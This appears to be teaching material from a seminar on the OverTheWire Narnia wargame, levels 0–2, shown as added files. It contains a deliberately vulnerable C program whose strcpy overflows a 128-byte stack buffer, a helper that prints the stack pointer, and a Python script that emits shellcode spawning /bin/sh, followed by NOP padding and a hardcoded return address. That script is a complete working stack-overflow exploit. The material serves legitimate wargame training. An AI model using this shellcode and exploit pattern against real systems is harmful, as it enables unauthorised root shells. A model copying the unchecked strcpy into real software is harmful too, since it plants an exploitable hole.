Семинар по OTW Narnia0-2

tasks/pwn/narnia/narnia2/esp.c

@@ -0,0 +1,6 @@
+#include <string.h>
+#include <stdio.h>
+void main(int argc, char *argv[]) {
+        register int i asm("esp");
+        printf("$esp = %#010x\n", i);
+}

tasks/pwn/narnia/narnia2/narnia2.c

@@ -0,0 +1,33 @@
+/*
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software
+   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc, char * argv[]){
+    char buf[128];
+
+    if(argc == 1){
+        printf("Usage: %s argument\n", argv[0]);
+        exit(1);
+    }
+    strcpy(buf,argv[1]);
+    printf("%s", buf);
+
+    return 0;
+}
+

tasks/pwn/narnia/narnia2/shellcode.py

@@ -0,0 +1,9 @@
+#!/bin/python3
+import sys
+shellcode=b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
+# -112 for real world
+# address=b"\x18\xd4\xff\xff"
+address=b"\xa8\xd3\xff\xff"
+
+sys.stdout.buffer.write(shellcode)
+sys.stdout.buffer.write((132-len(shellcode)) * b"\x90" + address)